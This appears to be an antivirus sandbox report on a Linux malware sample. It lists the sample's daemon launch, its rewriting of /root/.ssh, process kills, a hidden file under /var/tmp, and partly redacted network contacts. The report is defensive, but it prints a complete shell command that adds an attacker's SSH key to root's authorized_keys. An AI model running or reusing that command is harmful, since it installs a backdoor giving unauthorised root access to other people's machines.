Technical Information
Malicious functions:
Launches itself as a daemon
Gets access to SSH keys
- /root/.ssh/authorized_keys
Launches processes:
- sh -c cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
- rm -rf .ssh
- mkdir .ssh
- chmod -R go= /root/.ssh
- sh -c pkill -9 Macron; pkill -9 Donald
- pkill -9 Macron
- pkill -9 Donald
- sh -c pidof -s cron.d > /var/tmp/.system925D22cronF21
- pidof -s cron.d
Performs operations with the file system:
Modifies file access rights:
- /root/.ssh
- /root/.ssh/authorized_keys
Creates folders:
- /root/.ssh
Creates or modifies files:
- /var/tmp/.system925D22cronF21
Deletes files:
- /root/.ssh
Network activity:
Establishes connection:
- 45.#.148.117:80
DNS ASK:
- de#####package.center
Other:
Collects CPU information
Collects RAM information
